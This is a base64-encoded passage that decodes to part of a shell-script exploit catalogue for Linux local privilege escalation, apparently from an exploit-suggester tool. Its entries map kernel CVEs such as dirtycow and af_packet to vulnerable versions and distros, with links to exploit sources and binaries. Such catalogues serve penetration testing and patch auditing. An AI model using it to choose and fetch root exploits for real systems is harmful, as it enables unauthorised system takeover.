dGV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45ClRhZ3M6IFJIRUw9NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpleHBsb2l0LWRiOiAyNTQ0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAwMzhdJHt0eHRyc3R9IHRpbWVvdXRwd24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuNC4wLHZlcjw9My4xMy4xLENPTkZJR19YODZfWDMyPXkKVGFnczogdWJ1bnR1PTEzLjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vYmxvZy5pbmNsdWRlc2VjdXJpdHkuY29tLzIwMTQvMDMvZXhwbG9pdC1DVkUtMjAxNC0wMDM4LXgzMi1yZWN2bW1zZy1rZXJuZWwtdnVsbmVyYWJsaXR5Lmh0bWwKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvdGltZW91dHB3bjY0CmV4cGxvaXQtZGI6IDMxMzQ2CkNvbW1lbnRzOiBDT05GSUdfWDg2X1gzMiBuZWVkcyB0byBiZSBlbmFibGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDAzOF0ke3R4dHJzdH0gdGltZW91dHB3biAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjQuMCx2ZXI8PTMuMTMuMSxDT05GSUdfWDg2X1gzMj15ClRhZ3M6IHVidW50dT0oMTMuMDR8MTMuMTApe2tlcm5lbDozLig4fDExKS4wLSgxMnwxNXwxOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9ibG9nLmluY2x1ZGVzZWN1cml0eS5jb20vMjAxNC8wMy9leHBsb2l0LUNWRS0yMDE0LTAwMzgteDMyLXJlY3ZtbXNnLWtlcm5lbC12dWxuZXJhYmxpdHkuaHRtbApleHBsb2l0LWRiOiAzMTM0NwpDb21tZW50czogQ09ORklHX1g4Nl9YMzIgbmVlZHMgdG8gYmUgZW5hYmxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAxOTZdJHt0eHRyc3R9IHJhd21vZGVQVFkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMSx2ZXI8PTMuMTQuMwpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2Jsb2cuaW5jbHVkZXNlY3VyaXR5LmNvbS8yMDE0LzA2L2V4cGxvaXQtd2Fsa3Rocm91Z2gtY3ZlLTIwMTQtMDE5Ni1wdHkta2VybmVsLXJhY2UtY29uZGl0aW9uLmh0bWwKZXhwbG9pdC1kYjogMzM1MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0yODUxXSR7dHh0cnN0fSB1c2UtYWZ0ZXItZnJlZSBpbiBwaW5nX2luaXRfc29jaygpICR7YmxkYmx1fShEb1MpJHt0eHRyc3R9ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTQKVGFnczogClJhbms6IDAKYW5hbHlzaXMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vcGFnZT9uPTAyMDEyMDE2CmV4cGxvaXQtZGI6IDMyOTI2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNDAxNF0ke3R4dHJzdH0gaW5vZGVfY2FwYWJsZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjEzClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDYvMTAvNApleHBsb2l0LWRiOiAzMzgyNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTQ2OTldJHt0eHRyc3R9IHB0cmFjZS9zeXNyZXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjw9My44ClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDcvMDgvMTYKZXhwbG9pdC1kYjogMzQxMzQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC00OTQzXSR7dHh0cnN0fSBQUFBvTDJUUCAke2JsZGJsdX0oRG9TKSR7dHh0cnN0fQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9My4xNS42ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL3BhZ2U/bj0wMTEwMjAxNQpleHBsb2l0LWRiOiAzNjI2NwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTUyMDddJHt0eHRyc3R9IGZ1c2Vfc3VpZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjE2LjEKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMzQ5MjMKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS05MzIyXSR7dHh0cnN0fSBCYWRJUkVUClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My4xNy41LHg4Nl82NApUYWdzOiBSSEVMPD03LGZlZG9yYT0yMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xhYnMuYnJvbWl1bS5jb20vMjAxNS8wMi8wMi9leHBsb2l0aW5nLWJhZGlyZXQtdnVsbmVyYWJpbGl0eS1jdmUtMjAxNC05MzIyLWxpbnV4LWtlcm5lbC1wcml2aWxlZ2UtZXNjYWxhdGlvbi8Kc3JjLXVybDogaHR0cDovL3NpdGUucGkzLmNvbS5wbC9leHAvcF9jdmUtMjAxNC05MzIyLnRhci5negpleHBsb2l0LWRiOgphdXRob3I6IFJhZmFsICduM3JnYWwnIFdvanRjenVrICYgQWRhbSAncGkzJyBaYWJyb2NraQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyOTBdJHt0eHRyc3R9IGVzcGZpeDY0X05NSQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMyx2ZXI8NC4xLjYseDg2XzY0ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDgvMDQvOApleHBsb2l0LWRiOiAzNzcyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W04vQV0ke3R4dHJzdH0gYmx1ZXRvb3RoClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA0NzU2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMyOF0ke3R4dHJzdH0gb3ZlcmxheWZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEzLjAsdmVyPD0zLjE5LjAKVGFnczogdWJ1bnR1PSgxMi4wNHwxNC4wNCl7a2VybmVsOjMuMTMuMC0oMnwzfDR8NSkqLWdlbmVyaWN9LHVidW50dT0oMTQuMTB8MTUuMDQpe2tlcm5lbDozLigxM3wxNikuMC0qLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi83MTcKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvb2ZzXzMyCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL29mc182NApleHBsb2l0LWRiOiAzNzI5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2NjBdJHt0eHRyc3R9IG92ZXJsYXlmcyAob3ZsX3NldGF0dHIpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuMy4zClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTUvVXNlck5hbWVzcGFjZU92ZXJsYXlmc1NldHVpZFdyaXRlRXhlYy8KZXhwbG9pdC1kYjogMzkyMzAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjYwXSR7dHh0cnN0fSBvdmVybGF5ZnMgKG92bF9zZXRhdHRyKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjMuMwpUYWdzOiB1YnVudHU9KDE0LjA0fDE1LjEwKXtrZXJuZWw6NC4yLjAtKDE4fDE5fDIwfDIxfDIyKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE1L1VzZXJOYW1lc3BhY2VPdmVybGF5ZnNTZXR1aWRXcml0ZUV4ZWMvCmV4cGxvaXQtZGI6IDM5MTY2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMDcyOF0ke3R4dHJzdH0ga2V5cmluZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMCx2ZXI8NC40LjEKVGFnczoKUmFuazogMAphbmFseXNpcy11cmw6IGh0dHA6Ly9wZXJjZXB0aW9uLXBvaW50LmlvLzIwMTYvMDEvMTQvYW5hbHlzaXMtYW5kLWV4cGxvaXRhdGlvbi1vZi1hLWxpbnV4LWtlcm5lbC12dWxuZXJhYmlsaXR5LWN2ZS0yMDE2LTA3MjgvCmV4cGxvaXQtZGI6IDQwMDAzCkNvbW1lbnRzOiBFeHBsb2l0IHRha2VzIGFib3V0IH4zMCBtaW51dGVzIHRvIHJ1bi4gRXhwbG9pdCBpcyBub3QgcmVsaWFibGUsIHNlZTogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2Jsb2cvY3ZlLTIwMTYtMDcyOC1wb2Mtbm90LXdvcmtpbmcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0yMzg0XSR7dHh0cnN0fSB1c2ItbWlkaQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjQuOApUYWdzOiB1YnVudHU9MTQuMDQsZmVkb3JhPTIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hhaXJ5LmdpdGh1Yi5pby9ibG9nLzIwMTYvY3ZlLTIwMTYtMjM4NApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi0yMzg0L3BvYy5jCmV4cGxvaXQtZGI6IDQxOTk5CkNvbW1lbnRzOiBSZXF1aXJlcyBhYmlsaXR5IHRvIHBsdWcgaW4gYSBtYWxpY2lvdXMgVVNCIGRldmljZSBhbmQgdG8gZXhlY3V0ZSBhIG1hbGljaW91cyBiaW5hcnkgYXMgYSBub24tcHJpdmlsZWdlZCB1c2VyCmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDk5N10ke3R4dHJzdH0gdGFyZ2V0X29mZnNldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPD00LjQuMCxjbWQ6Z3JlcCAtcWkgaXBfdGFibGVzIC9wcm9jL21vZHVsZXMKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQwMDUzLnppcApDb21tZW50czogaXBfdGFibGVzLmtvIG5lZWRzIHRvIGJlIGxvYWRlZApleHBsb2l0LWRiOiA0MDA0OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDU1N10ke3R4dHJzdH0gZG91YmxlLWZkcHV0KCkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8NC41LjUsQ09ORklHX0JQRl9TWVNDQUxMPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC40LjAtMjEtZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYnVncy5jaHJvbWl1bS5vcmcvcC9wcm9qZWN0LXplcm8vaXNzdWVzL2RldGFpbD9pZD04MDgKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvMzk3NzIuemlwCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKZXhwbG9pdC1kYjogNDA3NTkKYXV0aG9yOiBKYW5uIEhvcm4KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01MTk1XSR7dHh0cnN0fSBkaXJ0eWNvdwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIyLHZlcjw9NC44LjMKVGFnczogZGViaWFuPTd8OCxSSEVMPTV7a2VybmVsOjIuNi4oMTh8MjR8MzMpLSp9LFJIRUw9NntrZXJuZWw6Mi42LjMyLSp8My4oMHwyfDZ8OHwxMCkuKnwyLjYuMzMuOS1ydDMxfSxSSEVMPTd7a2VybmVsOjMuMTAuMC0qfDQuMi4wLTAuMjEuZWw3fSx1YnVudHU9MTYuMDR8MTQuMDR8MTIuMDQKUmFuazogNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9kaXJ0eWNvdy9kaXJ0eWNvdy5naXRodWIuaW8vd2lraS9WdWxuZXJhYmlsaXR5RGV0YWlscwpDb21tZW50czogRm9yIFJIRUwvQ2VudE9TIHNlZSBleGFjdCB2dWxuZXJhYmxlIHZlcnNpb25zIGhlcmU6IGh0dHBzOi8vYWNjZXNzLnJlZGhhdC5jb20vc2l0ZXMvZGVmYXVsdC9maWxlcy9yaC1jdmUtMjAxNi01MTk1XzUuc2gKZXhwbG9pdC1kYjogNDA2MTEKYXV0aG9yOiBQaGlsIE9lc3RlcgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTUxOTVdJHt0eHRyc3R9IGRpcnR5Y293IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yMix2ZXI8PTQuOC4zClRhZ3M6IGRlYmlhbj03fDgsUkhFTD01fDZ8Nyx1YnVudHU9MTQuMDR8MTIuMDQsdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItMjEtZ2VuZXJpY30sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiA0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2RpcnR5Y293L2RpcnR5Y293LmdpdGh1Yi5pby93aWtpL1Z1bG5lcmFiaWxpdHlEZXRhaWxzCmV4dC11cmw6IGh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLzQwODQ3CkNvbW1lbnRzOiBGb3IgUkhFTC9DZW50T1Mgc2VlIGV4YWN0IHZ1bG5lcmFibGUgdmVyc2lvbnMgaGVyZTogaHR0cHM6Ly9hY2Nlc3MucmVkaGF0LmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL3JoLWN2ZS0yMDE2LTUxOTVfNS5zaApleHBsb2l0LWRiOiA0MDgzOQphdXRob3I6IEZpcmVGYXJ0IChhdXRob3Igb2YgZXhwbG9pdCBhdCBFREIgNDA4MzkpOyBHYWJyaWVsZSBCb25hY2luaSAoYXV0aG9yIG9mIGV4cGxvaXQgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTg2NTVdJHt0eHRyc3R9IGNob2NvYm9fcm9vdApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPDQuOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtKDIxfDIyfDI0fDI4fDMxfDM0fDM2fDM4fDQyfDQzfDQ1fDQ3fDUxKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTYvMTIvMDYvMQpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwYWJpbGl0eSBpcyBuZWVkZWQgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkcyB0byBiZSBlbmFibGVkCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvQ1ZFLTIwMTYtODY1NS9jaG9jb2JvX3Jvb3QKZXhwbG9pdC1kYjogNDA4NzEKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTk3OTNdJHt0eHRyc3R9IFNPX3tTTkR8UkNWfUJVRkZPUkNFClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjExLHZlcjw0LjguMTQsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvdHJlZS9tYXN0ZXIvQ1ZFLTIwMTYtOTc5MwpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi05NzkzL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcHMgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkZWQuIE5vIFNNRVAvU01BUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIFRlc3RlZCBpbiBRRU1VIG9ubHkKZXhwbG9pdC1kYjogNDE5OTUKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy02MDc0XSR7dHh0cnN0fSBkY2NwClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD00LjkuMTEsQ09ORklHX0lQX0RDQ1A9W215XQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtNjItZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAyLzIyLzMKQ29tbWVudHM6IFJlcXVpcmVzIEtlcm5lbCBiZSBidWlsdCB3aXRoIENPTkZJR19JUF9EQ0NQIGVuYWJsZWQuIEluY2x1ZGVzIHBhcnRpYWwgU01FUC9TTUFQIGJ5cGFzcwpleHBsb2l0LWRiOiA0MTQ1OAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTczMDhdJHt0eHRyc3R9IGFmX3BhY2tldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMC42LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC44LjAtKDM0fDM2fDM5fDQxfDQyfDQ0fDQ1KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGVwcm9qZWN0emVyby5ibG9nc3BvdC5jb20vMjAxNy8wNS9leHBsb2l0aW5nLWxpbnV4LWtlcm5lbC12aWEtcGFja2V0Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3hhaXJ5L2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwIG9yIENPTkZJR19VU0VSX05TPXkgbmVlZGVkLiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyBhZGRzIHN1cHBvcnQgZm9yIGFkZGl0aW9uYWwga2VybmVscwpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTczMDgvZXhwbG9pdApleHBsb2l0LWRiOiA0MTk5NAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTY5OTVdJHt0eHRyc3R9IGVCUEZfdmVyaWZpZXIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuOCxDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogZGViaWFuPTkuMHtrZXJuZWw6NC45LjAtMy1hbWQ2NH0sZmVkb3JhPTI1fDI2fDI3LHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtODktZ2VuZXJpY30sdWJ1bnR1PSgxNi4wNHwxNy4wNCl7a2VybmVsOjQuKDh8MTApLjAtKDE5fDI4fDQ1KS1nZW5lcmljfQpSYW5rOiA1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9yaWNrbGFyYWJlZS5ibG9nc3BvdC5jb20vMjAxOC8wNy9lYnBmLWFuZC1hbmFseXNpcy1vZi1nZXQtcmVrdC1saW51eC5odG1sCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xNjk5NS9leHBsb2l0Lm91dApleHBsb2l0LWRiOiA0NTAxMAphdXRob3I6IFJpY2sgTGFyYWJlZQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAxMTJdJHt0eHRyc3R9IE5FVElGX0ZfVUZPClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQsdmVyPD00LjEzLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtKn0sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDgvMTMvMQpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcCBvciBDT05GSUdfVVNFUl9OUz15IG5lZWRlZC4gU01FUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIGFkZHMgc3VwcG9ydCBmb3IgYWRkaXRpb25hbCBkaXN0cm9zL2tlcm5lbHMKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xMDAwMTEyL2V4cGxvaXQub3V0CmV4cGxvaXQtZGI6CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMjUzXSR7dHh0cnN0fSBQSUVfc3RhY2tfY29ycnVwdGlvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMyx4ODZfNjQKVGFnczogU